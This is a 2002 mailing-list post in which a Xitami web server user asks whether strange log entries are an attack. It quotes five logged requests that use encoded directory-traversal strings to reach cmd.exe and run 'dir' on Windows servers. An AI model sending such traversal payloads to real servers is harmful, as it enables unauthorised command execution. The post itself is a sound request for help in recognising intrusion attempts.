[Xitami] hack attack or just ignorance?
Michael Bronder
xitami@lists.xitami.org
Thu, 11 Apr 2002 22:11:55 -0400
I'm not a hard core user, and I just went to browse through my logs
directory and found ALOT of lines like the ones below. Now, the likely hood
of anyone accessing my sight (archaetext.com) is very slight as I haven't
told anyone about it.
These aren't malicious attempts are they? Perl.exe mysteriously disappeared
from my machine recently.
Am I missing a basic security setting or something?
Thanks,
mb
24.128.19.74 - - [10/Apr/2002:23:54:53 -0500] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:54:57 -0500] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:54:58 -0500] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:55:02 -0500] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
24.128.19.74 - - [10/Apr/2002:23:55:03 -0500] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0